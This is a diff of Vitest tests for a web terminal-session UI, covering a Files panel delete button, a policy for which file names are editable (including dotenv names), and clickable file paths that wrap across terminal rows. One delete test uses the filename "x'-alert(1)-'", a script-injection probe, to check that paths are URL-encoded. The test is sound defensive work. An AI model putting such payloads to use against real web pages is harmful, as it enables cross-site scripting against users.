describe('deleteFileFromBrowser', () => {
|
||||
it('asks first and sends nothing when the answer is no', async () => {
|
||||
const { app, context } = loadPanel({ confirm: () => false });
|
||||
await app.deleteFileFromBrowser(SESSION, "src/it's.txt");
|
||||
expect(context.confirm).toHaveBeenCalledWith("Delete the file src/it's.txt? This cannot be undone.");
|
||||
expect(context.fetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('sends one DELETE with the encoded path, then reloads keeping the query', async () => {
|
||||
const { app, context } = loadPanel({ fetch: async () => reply({ success: true, data: { path: 'x' } }) });
|
||||
app._reloadFileBrowserKeepingQuery = vi.fn(async () => {});
|
||||
const path = "src/x'-alert(1)-' & #?.txt";
|
||||
|
||||
await app.deleteFileFromBrowser(SESSION, path);
|
||||
|
||||
expect(context.fetch).toHaveBeenCalledTimes(1);
|
||||
expect(context.fetch).toHaveBeenCalledWith(`/api/sessions/${SESSION}/files?path=${encodeURIComponent(path)}`, {
|
||||
method: 'DELETE',
|
||||
});
|
||||
expect(app.showToast).toHaveBeenCalledWith(`File deleted: ${path}`, 'success');
|
||||
expect(app._reloadFileBrowserKeepingQuery).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('shows the server reason and reloads nothing when the delete is refused', async () => {
|
||||
const { app } = loadPanel({
|
||||
fetch: async () => reply({ success: false, error: 'Symbolic links are not deleted from the Files panel' }, 400),
|
||||
});
|
||||
app._reloadFileBrowserKeepingQuery = vi.fn(async () => {});
|
||||
|
||||
await app.deleteFileFromBrowser(SESSION, 'AGENTS.md');
|
||||
|
||||
expect(app.showToast).toHaveBeenCalledWith(
|
||||
'Delete failed: Symbolic links are not deleted from the Files panel',
|
||||
'error'
|
||||
);
|
||||
expect(app._reloadFileBrowserKeepingQuery).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('removes the row from the search results it was deleted from', async () => {
|
||||
let files = ['delete-me.txt', 'keep-me.txt', 'other.md'];
|
||||
const { app, context } = loadPanel({
|
||||
fetch: async (url, init) => {
|
||||
const query = new URL(url, 'http://localhost');
|
||||
if (init?.method === 'DELETE') {
|
||||
const gone = query.searchParams.get('path')!.replace(/^src\//, '');
|
||||
files = files.filter((name) => name !== gone);
|
||||
return reply({ success: true, data: { path: query.searchParams.get('path') } });
|
||||
}
|
||||
const q = query.searchParams.get('q');
|
||||
return reply(q ? searchEnvelope(files.filter((name) => name.includes(q))) : treeEnvelope(files));
|
||||
},
|
||||
});
|
||||
await app.loadFileBrowser(SESSION);
|
||||
(document.getElementById('fileBrowserSearch') as HTMLInputElement).value = 'me';
|
||||
app.filterFileBrowser('me');
|
||||
await vi.waitFor(() => expect(rowFor('src/delete-me.txt')).toBeTruthy());
|
||||
expect(rowFor('src/other.md')).toBeUndefined();
|
||||
|
||||
deleteButtonFor('src/delete-me.txt')!.click();
|
||||
|
||||
await vi.waitFor(() => expect(rowFor('src/delete-me.txt')).toBeUndefined());
|
||||
expect(rowFor('src/keep-me.txt')).toBeTruthy();
|
||||
// Still the search view, not the tree behind it.
|
||||
expect(rowFor('src/other.md')).toBeUndefined();
|
||||
expect(document.getElementById('fileBrowserStatus')!.textContent).toBe('1 match');
|
||||
const methods = context.fetch.mock.calls.map(([url, init]: [string, { method?: string }?]) =>
|
||||
init?.method === 'DELETE' ? 'DELETE' : url.includes('&q=') ? 'search' : 'tree'
|
||||
);
|
||||
expect(methods).toEqual(['tree', 'search', 'DELETE', 'tree', 'search']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Files panel delete button: touch screens', () => {
|
||||
it('keeps the row buttons visible where there is no hover', () => {
|
||||
const blocks = [...STYLES.matchAll(/@media \(hover: none\) \{([^{}]*\{[^{}]*\})\s*\}/g)].map((m) => m[1]);
|
||||
expect(
|
||||
blocks.some((block) => /\.file-tree-download,\s*\.file-tree-delete\s*\{\s*display: inline;/.test(block))
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -6,7 +6,9 @@
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { TEXT_ATTACHMENT_EXTENSIONS } from '../src/attachment-registry.js';
|
||||
import {
|
||||
EDITABLE_EXTENSIONS,
|
||||
MAX_EDITABLE_BYTES,
|
||||
applyEol,
|
||||
detectEol,
|
||||
@@ -15,6 +17,20 @@ import {
|
||||
} from '../src/config/file-editing.js';
|
||||
|
||||
describe('file-editing policy', () => {
|
||||
describe('shared text extensions', () => {
|
||||
it('excludes env from TEXT_ATTACHMENT_EXTENSIONS', () => {
|
||||
expect(TEXT_ATTACHMENT_EXTENSIONS.has('env')).toBe(false);
|
||||
});
|
||||
|
||||
it('excludes env from EDITABLE_EXTENSIONS', () => {
|
||||
expect(EDITABLE_EXTENSIONS.has('env')).toBe(false);
|
||||
});
|
||||
|
||||
it('shares the same set between attachment and editor extensions', () => {
|
||||
expect(TEXT_ATTACHMENT_EXTENSIONS).toBe(EDITABLE_EXTENSIONS);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isEditableFileName', () => {
|
||||
it('allows common text extensions', () => {
|
||||
for (const name of ['a.ts', 'b.md', 'c.json', 'd.py', 'style.css', 'notes.txt', 'x.yml', 'Q.SQL']) {
|
||||
@@ -34,11 +50,34 @@ describe('file-editing policy', () => {
|
||||
}
|
||||
});
|
||||
|
||||
it('rejects svg and env (deliberate v1 exclusions)', () => {
|
||||
it('rejects svg (deliberate exclusion)', () => {
|
||||
expect(isEditableFileName('image.svg')).toBe(false);
|
||||
expect(isEditableFileName('config.env')).toBe(false);
|
||||
});
|
||||
|
||||
it.each([
|
||||
'.env',
|
||||
'.env.local',
|
||||
'.env.production',
|
||||
'.env.development.local',
|
||||
'.env.example',
|
||||
'.env.template',
|
||||
'.env.sample',
|
||||
'.ENV',
|
||||
'.Env.Local',
|
||||
'config.env',
|
||||
'prod.env',
|
||||
'docker.ENV',
|
||||
])('allows dotenv filename %s', (name) => {
|
||||
expect(isEditableFileName(name)).toBe(true);
|
||||
});
|
||||
|
||||
it.each(['.envrc', 'env', '.environment', 'environment', '.env-local', 'foo.envrc', 'envfile'])(
|
||||
'rejects dotenv lookalike %s',
|
||||
(name) => {
|
||||
expect(isEditableFileName(name)).toBe(false);
|
||||
}
|
||||
);
|
||||
|
||||
it('rejects extensionless and unknown-dotfile names not on the basename list', () => {
|
||||
expect(isEditableFileName('somebinary')).toBe(false);
|
||||
expect(isEditableFileName('.bashrc')).toBe(false);
|
||||
|
||||
@@ -52,13 +52,13 @@ const { findFilePathLinks, resolveLinkedFilePath, terminalPathLine } = loadHelpe
|
||||
const paths = (text: string) => findFilePathLinks(text).map((f) => f.path);
|
||||
|
||||
/** An xterm buffer stand-in: hard-broken rows (no `isWrapped`), as Claude Code emits them. */
|
||||
function buffer(lines: string[], cols = 80) {
|
||||
function buffer(lines: string[], cols = 80, wrappedRows = new Set<number>()) {
|
||||
return {
|
||||
length: lines.length,
|
||||
getLine: (row: number) =>
|
||||
row >= 0 && row < lines.length
|
||||
? {
|
||||
isWrapped: false,
|
||||
isWrapped: wrappedRows.has(row),
|
||||
translateToString: (trim?: boolean) => (trim ? lines[row].replace(/\s+$/, '') : lines[row].padEnd(cols)),
|
||||
}
|
||||
: undefined,
|
||||
@@ -157,6 +157,10 @@ describe('terminalPathLine', () => {
|
||||
// A path that already ended, and a next line opening a new rooted path.
|
||||
expect(terminalPathLine(buffer(['see /tmp/a/b.png', 'c/d.png']), 0, 80)).toMatchObject({ endRow: 0 });
|
||||
expect(terminalPathLine(buffer(['/home/joe/dir/', '/home/x.png']), 0, 80)).toMatchObject({ endRow: 0 });
|
||||
expect(terminalPathLine(buffer(['see (/mnt/raid1/folder)', ' file.conf)']), 0, 80)).toMatchObject({ endRow: 0 });
|
||||
expect(terminalPathLine(buffer(['see (/mnt/raid1/folder', ' /mnt/other/file.conf)']), 0, 80)).toMatchObject({
|
||||
endRow: 0,
|
||||
});
|
||||
});
|
||||
|
||||
// `git ls-files`, `find` and `ls -R` print one path per row. An extensionless
|
||||
@@ -237,13 +241,16 @@ function loadApp() {
|
||||
app.sessions = new Map([['s1', { workingDir: '/mnt/build/neon_getaway-mgr-hebel' }]]);
|
||||
app.openFilePreview = vi.fn();
|
||||
app.openLogViewerWindow = vi.fn();
|
||||
app._registerExternalPreview = vi.fn(async () => ({ attachmentId: 'att-fixture' }));
|
||||
app.showToast = vi.fn();
|
||||
app._isExternalPreviewPath = (p: string) => p.startsWith('~/');
|
||||
app._isOutsideWorktreePath = () => false;
|
||||
return app;
|
||||
}
|
||||
|
||||
function linksOn(lines: string[], row: number) {
|
||||
function linksOn(lines: string[], row: number, cols = 80, wrappedRows = new Set<number>()) {
|
||||
const app = loadApp();
|
||||
app.terminal = { cols: 80, registerLinkProvider: vi.fn(), buffer: { active: buffer(lines) } };
|
||||
app.terminal = { cols, registerLinkProvider: vi.fn(), buffer: { active: buffer(lines, cols, wrappedRows) } };
|
||||
const provider = app.registerFilePathLinkProvider() as Provider;
|
||||
let out: Link[] = [];
|
||||
provider.provideLinks(row, (links) => {
|
||||
@@ -253,6 +260,169 @@ function linksOn(lines: string[], row: number) {
|
||||
}
|
||||
|
||||
describe('terminal link provider', () => {
|
||||
it.each(['svg', 'markdown', 'avif', 'bmp', 'ico', 'zip'])(
|
||||
'keeps the workspace opener for a hard-wrapped .%s rejected by the attachment registry',
|
||||
async (extension) => {
|
||||
for (const row of [1, 2]) {
|
||||
const path = `/home/me/proj/out/system_architecture.${extension}`;
|
||||
const { app, links } = linksOn(
|
||||
['Saved the diagram (/home/me/proj/out/system_archi', ` tecture.${extension}).`],
|
||||
row,
|
||||
120
|
||||
);
|
||||
app.sessions = new Map([['s1', { workingDir: '/home/me/proj' }]]);
|
||||
app._registerExternalPreview.mockResolvedValue({ status: 400, error: 'Unsupported attachment type' });
|
||||
await links[0].activate({}, links[0].text);
|
||||
const opener = extension === 'zip' ? app.openLogViewerWindow : app.openFilePreview;
|
||||
expect(opener).toHaveBeenCalledWith(path, 's1');
|
||||
expect(app._registerExternalPreview.mock.calls).toEqual([[path, 's1']]);
|
||||
expect(app.showToast).not.toHaveBeenCalled();
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
it.each([
|
||||
[
|
||||
['Saved the screenshot (/home/me/proj/out/ghost1b_game', ' play.png).'],
|
||||
'/home/me/proj/out/ghost1b_gameplay.png',
|
||||
],
|
||||
[
|
||||
[' ⎿ Wrote (/mnt/build/neon/builds/captures/ghost1b_gamepl', ' ay.png) ok'],
|
||||
'/mnt/build/neon/builds/captures/ghost1b_gameplay.png',
|
||||
],
|
||||
[
|
||||
['Saved the screenshot (/home/me/proj/out/ghost1b_', ' very_long_game', ' play.png).'],
|
||||
'/home/me/proj/out/ghost1b_very_long_gameplay.png',
|
||||
],
|
||||
])('preserves a parenthesised filename without spaces across hard wraps: %s', async (rows, path) => {
|
||||
for (let row = 1; row <= rows.length; row++) {
|
||||
const { app, links } = linksOn(rows, row, 120);
|
||||
expect(links.map((link) => link.text)).toEqual([path]);
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app.openFilePreview).toHaveBeenCalledWith(path, 's1');
|
||||
expect(app._registerExternalPreview.mock.calls).toEqual([[path, 's1']]);
|
||||
}
|
||||
});
|
||||
|
||||
it('uses the spaced filename only when the unspaced hard-wrap target is missing', async () => {
|
||||
const path = '/mnt/user/Scratch/Kobo/Set-KoboCovers/Kobo eReader.conf';
|
||||
const rows = [
|
||||
'Found it: I prepared a corrected configuration (/mnt/user/Scratch/Kobo/Set-KoboCovers/Kobo',
|
||||
' eReader.conf).',
|
||||
];
|
||||
for (const row of [1, 2]) {
|
||||
const { app, links } = linksOn(rows, row, 120);
|
||||
const unspaced = path.replace('Kobo eReader', 'KoboeReader');
|
||||
expect(links.map((link) => link.text)).toEqual([unspaced]);
|
||||
expect(links[0].range.end).toEqual({ x: ' eReader.conf'.length + 1, y: 2 });
|
||||
app._registerExternalPreview.mockImplementation(async (candidate: string) =>
|
||||
candidate === path ? { attachmentId: 'att-fixture' } : { status: 404, error: 'File not found' }
|
||||
);
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith(path, 's1');
|
||||
expect(app._registerExternalPreview.mock.calls).toEqual([
|
||||
[unspaced, 's1'],
|
||||
[path, 's1'],
|
||||
]);
|
||||
}
|
||||
});
|
||||
|
||||
it.each([403, 500, 503])('does not try another path after a guarded lookup returns HTTP %s', async (status) => {
|
||||
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
|
||||
app._registerExternalPreview.mockResolvedValue({ status, error: 'Lookup refused' });
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app._registerExternalPreview).toHaveBeenCalledTimes(1);
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
|
||||
expect(app.showToast).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('keeps the original opener when the lookup cannot reach the server', async () => {
|
||||
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
|
||||
app._registerExternalPreview.mockResolvedValue({ error: 'Connection lost' });
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app._registerExternalPreview).toHaveBeenCalledTimes(1);
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
|
||||
});
|
||||
|
||||
it('never looks up a spaced name for a hard-wrapped Bash( row, which holds a command', async () => {
|
||||
const { app, links } = linksOn(['Bash(/mnt/data/Kobo', ' eReader.conf)'], 1, 120);
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app._registerExternalPreview).not.toHaveBeenCalled();
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
|
||||
});
|
||||
|
||||
it('uses the original opener when both hard-wrap filenames are missing', async () => {
|
||||
for (const row of [1, 2]) {
|
||||
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], row, 120);
|
||||
app._registerExternalPreview.mockResolvedValue({ status: 404, error: 'Attachment file not found' });
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app._registerExternalPreview.mock.calls).toEqual([
|
||||
['/mnt/data/KoboeReader.conf', 's1'],
|
||||
['/mnt/data/Kobo eReader.conf', 's1'],
|
||||
]);
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
|
||||
expect(app.showToast).not.toHaveBeenCalled();
|
||||
}
|
||||
});
|
||||
|
||||
it.each(['Path: ', '- ', '- Path: ', ' Path: '])(
|
||||
'resolves the filename without its parenthesised prefix %j',
|
||||
async (prefix) => {
|
||||
for (const row of [1, 2]) {
|
||||
const { app, links } = linksOn([`Saved the notes (${prefix}/home/me/proj/out/My`, ' Notes.md).'], row, 120);
|
||||
app._registerExternalPreview
|
||||
.mockResolvedValueOnce({ status: 404, error: 'Attachment file not found' })
|
||||
.mockResolvedValueOnce({ attachmentId: 'att-spaced' });
|
||||
expect(links.map((link) => link.text)).toEqual(['/home/me/proj/out/MyNotes.md']);
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app._registerExternalPreview.mock.calls).toEqual([
|
||||
['/home/me/proj/out/MyNotes.md', 's1'],
|
||||
['/home/me/proj/out/My Notes.md', 's1'],
|
||||
]);
|
||||
expect(app.openFilePreview).toHaveBeenCalledWith('/home/me/proj/out/My Notes.md', 's1');
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
it.each([400, 403, 500, 503])('does not open an unregistered spaced alternative after HTTP %s', async (status) => {
|
||||
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
|
||||
app._registerExternalPreview
|
||||
.mockResolvedValueOnce({ status: 404, error: 'File not found' })
|
||||
.mockResolvedValueOnce({ status, error: 'Alternative unavailable' });
|
||||
await links[0].activate({}, links[0].text);
|
||||
expect(app._registerExternalPreview.mock.calls).toEqual([
|
||||
['/mnt/data/KoboeReader.conf', 's1'],
|
||||
['/mnt/data/Kobo eReader.conf', 's1'],
|
||||
]);
|
||||
expect(app.openFilePreview).not.toHaveBeenCalled();
|
||||
expect(app.openLogViewerWindow).not.toHaveBeenCalled();
|
||||
expect(app.showToast).toHaveBeenCalledWith('Alternative unavailable', 'error');
|
||||
});
|
||||
|
||||
it('keeps the session selected at click time while a path lookup is pending', async () => {
|
||||
const { app, links } = linksOn(['Saved (/mnt/data/Kobo', ' eReader.conf).'], 1, 120);
|
||||
const pending = links[0].activate({}, links[0].text);
|
||||
app.activeSessionId = 'another-session';
|
||||
await pending;
|
||||
expect(app._registerExternalPreview).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith('/mnt/data/KoboeReader.conf', 's1');
|
||||
});
|
||||
|
||||
it('opens the complete parenthesised configuration path from either wrapped row', () => {
|
||||
const path = '/mnt/user/Scratch/Kobo/Set-KoboCovers/Kobo eReader.conf';
|
||||
const text = `Found it: I prepared a corrected configuration (${path}).`;
|
||||
const split = text.indexOf(' eReader') + 1;
|
||||
const rows = [text.slice(0, split), text.slice(split)];
|
||||
for (const row of [1, 2]) {
|
||||
const { app, links } = linksOn(rows, row, split, new Set([1]));
|
||||
expect(links.map((link) => link.text)).toEqual([path]);
|
||||
expect(links[0].range.start).toEqual({ x: text.indexOf(path) + 1, y: 1 });
|
||||
expect(links[0].range.end).toEqual({ x: 'eReader.conf'.length + 1, y: 2 });
|
||||
links[0].activate({}, links[0].text);
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith(path, 's1');
|
||||
}
|
||||
});
|
||||
|
||||
it('links a broken path once, across both rows, and opens the whole path', () => {
|
||||
const { app, links } = linksOn(BROKEN, 2);
|
||||
expect(links.map((l) => l.text)).toEqual([BROKEN_PATH]);
|
||||
|
||||
Loaded 100 of 775 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user